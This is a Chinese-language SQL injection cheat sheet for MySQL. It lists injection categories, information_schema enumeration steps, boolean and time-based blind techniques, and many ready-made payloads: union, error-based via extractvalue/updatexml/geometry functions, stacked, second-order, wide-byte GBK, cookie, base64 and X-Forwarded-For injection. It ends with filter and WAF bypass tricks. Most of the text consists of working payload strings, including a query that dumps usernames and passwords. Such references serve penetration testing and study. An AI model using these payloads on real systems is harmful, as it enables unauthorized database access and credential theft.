SQL注入漏洞
0x01 什么是SQL注入
sql注入就是一種通過(guò)操作輸入來(lái)修改后臺(tái)操作語(yǔ)句達(dá)到執(zhí)行惡意sql語(yǔ)句來(lái)進(jìn)行攻擊的技術(shù)。
0x02 SQL注入的分類
按變量類型分
- 數(shù)字型
- 字符型
按HTTP提交方式分
- GET注入
- POST注入
- Cookie注入
按注入方式分
- 報(bào)錯(cuò)注入
- 盲注
- 布爾盲注
- 時(shí)間盲注
- union注入
編碼問(wèn)題
- 寬字節(jié)注入
0x03識(shí)別后臺(tái)數(shù)據(jù)庫(kù)
根據(jù)操作系統(tǒng)平臺(tái)
sql server:Windows(IIS)
MySQL:Apache
根據(jù)web語(yǔ)言
Microsoft SQL Server:ASP和.Net
MySQL:PHP
Oracle/MySQL:java
(以下是對(duì)mysql數(shù)據(jù)庫(kù)的總結(jié),其他類型數(shù)據(jù)庫(kù)會(huì)不定時(shí)更新)
0x04 MySQL 5.0以上和MySQL 5.0以下版本的區(qū)別
MySQL 5.0以上版本存在一個(gè)存儲(chǔ)著數(shù)據(jù)庫(kù)信息的信息數(shù)據(jù)庫(kù)--INFORMATION_SCHEMA ,其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫(kù)的信息。如數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)的表,表欄的數(shù)據(jù)類型與訪問(wèn)權(quán)限等。 而5.0以下沒(méi)有。
information_schema
系統(tǒng)數(shù)據(jù)庫(kù),記錄當(dāng)前數(shù)據(jù)庫(kù)的數(shù)據(jù)庫(kù),表,列,用戶權(quán)限等信息
SCHEMATA
儲(chǔ)存mysql所有數(shù)據(jù)庫(kù)的基本信息,包括數(shù)據(jù)庫(kù)名,編碼類型路徑等
TABLES
儲(chǔ)存mysql中的表信息,包括這個(gè)表是基本表還是系統(tǒng)表,數(shù)據(jù)庫(kù)的引擎是什么,表有多少行,創(chuàng)建時(shí)間,最后更新時(shí)間等
COLUMNS
儲(chǔ)存mysql中表的列信息,包括這個(gè)表的所有列以及每個(gè)列的信息,該列是表中的第幾列,列的數(shù)據(jù)類型,列的編碼類型,列的權(quán)限,列的注釋等
0x05 基本手工注入流程
要從select語(yǔ)句中獲得有用的信息,必須確定該數(shù)據(jù)庫(kù)中的字段數(shù)和那個(gè)字段能夠輸出,這是前提。
1. MySQL >= 5.0
(1)獲取字段數(shù)
order by n /通過(guò)不斷嘗試改變n的值來(lái)觀察頁(yè)面反應(yīng)確定字段數(shù)/
(2)獲取系統(tǒng)數(shù)據(jù)庫(kù)名
在MySQL >5.0中,數(shù)據(jù)庫(kù)名存放在information_schema數(shù)據(jù)庫(kù)下schemata表schema_name字段中
select null,null,schema_name from information_schema.schemata
(3)獲取當(dāng)前數(shù)據(jù)庫(kù)名
select null,null,...,****database()
(4)獲取數(shù)據(jù)庫(kù)中的表
select null,null,...,group_concat(table_name) from information_schema.****tables where table_schema=database()
或
select null,null,...,table_name from information_schema.****tables where table_schema=database() limit 0,1
(5)獲取表中的字段
這里假設(shè)已經(jīng)獲取到表名為user
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
(6)獲取各個(gè)字段值
這里假設(shè)已經(jīng)獲取到表名為user,且字段為username和password
select null,group_concat(username,password) from users
2.MySQL < 5.0
MySQL < 5.0 沒(méi)有信息數(shù)據(jù)庫(kù)information_schema,所以只能手工枚舉爆破(二分法思想)。
該方式通常用于盲注。
相關(guān)函數(shù)
length(str) :返回字符串str的長(zhǎng)度
substr(str, pos, len) :將str從pos位置開始截取len長(zhǎng)度的字符進(jìn)行返回。注意這里的pos位置是從1開始的,不是數(shù)組的0開始
mid(str,pos,len) :跟上面的一樣,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代碼值
ord(str) :將字符或布爾類型轉(zhuǎn)成ascll碼
if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
(1)基于布爾的盲注
and ascii(substr((****select database()),1,1))>64 /判斷數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值是否大于64/
(2)基于時(shí)間的盲注
id=1 union select if(SUBSTRING(user(),****1,4)='root',sleep(****4),1),null,null /提取用戶名前四個(gè)字符做判斷,正確就延遲4秒,錯(cuò)誤返回1/
0x06 常用注入方式
注釋符:
#
-- (有空格)或--+
/**/
內(nèi)聯(lián)注釋:
/!.../
union注入
id =-1 union select 1,2,3 /獲取字段/
Boolean注入
id=1' substr(database(),1,1)='t'--+ /判斷數(shù)據(jù)名長(zhǎng)度/
報(bào)錯(cuò)注入
1 floor()和rand()
union select count(*****),2,concat(':',(select database()),':',floor(rand()*****2))as a from information_schema.****tables group by a /利用錯(cuò)誤信息得到當(dāng)前數(shù)據(jù)庫(kù)名/
2 extractvalue()
id=1 and (extractvalue(****1,concat(****0x7e,(****select user()),****0x7e)))
3 updatexml()
id=1 and (updatexml(****1,concat(****0x7e,(****select user()),****0x7e),****1))
4 geometrycollection()
id=1 and geometrycollection((****select ***** from(select ***** from(select user())a)b))
5 multipoint()
id=1 and multipoint((****select ***** from(select ***** from(select user())a)b))
6 polygon()
id=1 and polygon((****select ***** from(select ***** from(select user())a)b))
7 multipolygon()
id=1 and multipolygon((****select ***** from(select ***** from(select user())a)b))
8 linestring()
id=1 and linestring((****select ***** from(select ***** from(select user())a)b))
9 multilinestring()
id=1 and multilinestring((****select ***** from(select ***** from(select user())a)b))
10 exp()
id=1 and exp(****~(select ***** from(select user())a))
時(shí)間注入
id = 1 and if(length(****database())>1,sleep(****5),1)
堆疊查詢注入
id = 1';select if(sub(user(),1,1)='r',sleep(****3),1)%23
二次注入
假如在如下場(chǎng)景中,我們?yōu)g覽一些網(wǎng)站的時(shí)候,可以現(xiàn)在注冊(cè)見頁(yè)面注冊(cè)u(píng)sername=test',接下來(lái)訪問(wèn)xxx.php?username=test',頁(yè)面返回id=22;
接下來(lái)再次發(fā)起請(qǐng)求xxx.php?id=22,這時(shí)候就有可能發(fā)生sql注入,比如頁(yè)面會(huì)返回MySQL的錯(cuò)誤。
訪問(wèn)xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結(jié)果,利用這種注入方式會(huì)得到數(shù)據(jù)庫(kù)中的值。
寬字節(jié)注入
利用條件:
- 查詢參數(shù)是被單引號(hào)包圍的,傳入的單引號(hào)又被轉(zhuǎn)義符()轉(zhuǎn)義,如在后臺(tái)數(shù)據(jù)庫(kù)中對(duì)接受的參數(shù)使用addslashes()或其過(guò)濾函數(shù)
- 數(shù)據(jù)庫(kù)的編碼為GBK
利用方式
id = -1%DF' union select 1,user(),****3,%23
在上述條件下,單引號(hào)'被轉(zhuǎn)義為%5c,所以就構(gòu)成了%df%5c,而在GBK編碼方式下,%df%5c是一個(gè)繁體字“連”,所以單引號(hào)成功逃逸。
Cookie注入
當(dāng)發(fā)現(xiàn)在url中沒(méi)有請(qǐng)求參數(shù),單數(shù)卻能得到結(jié)果的時(shí)候,可以看看請(qǐng)求參數(shù)是不是在cookie中,然后利用常規(guī)注入方式在cookie中注入測(cè)試即可,只是注入的位置在cookie中,與url中的注入沒(méi)有區(qū)別。
Cookie: id = 1 and 1=1
base64注入
對(duì)參數(shù)進(jìn)行base64編碼,再發(fā)送請(qǐng)求。
說(shuō)明:id=1',1的base64編碼為MSc=,而=的url編碼為%3d,所以得到以下結(jié)果:
id=MSc%3d
XFF注入
XFF(X-Forward-For),簡(jiǎn)稱XFF頭,它代表客戶端真實(shí)的ip地址
X-Forward-For:127.0.0.1' select 1,2,user()
0x07 SQL注入繞過(guò)技術(shù)
- 大小寫繞過(guò)
- 雙寫繞過(guò)
- 編碼繞過(guò)(url全編碼、十六進(jìn)制)
- 內(nèi)聯(lián)注釋繞過(guò)
-
關(guān)鍵字替換
- 逗號(hào)繞過(guò)
substr、mid()函數(shù)中可以利用from to來(lái)擺脫對(duì)逗號(hào)的利用;
limit中可以利用offset來(lái)擺脫對(duì)逗號(hào)的利用
- 比較符號(hào)( >、< )繞過(guò)(greatest、between and)
- 邏輯符號(hào)的替換(and=&& or=|| xor=| not=!)
- 空格繞過(guò)(用括號(hào),+等繞過(guò))
-
等價(jià)函數(shù)繞過(guò)
- hex()、bin()=ascii()
- concat_ws()=group_concat()
- mid()、substr()=substring()
- http參數(shù)污染(id=1 union select+1,2,3+from+users+where+id=1–變?yōu)閕d=1 union select+1&id=2,3+from+users+where+id=1–)
- 緩沖區(qū)溢出繞過(guò) (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好。。一般會(huì)存在臨界值,其實(shí)這種方法還對(duì)后綴名的繞過(guò)也有用)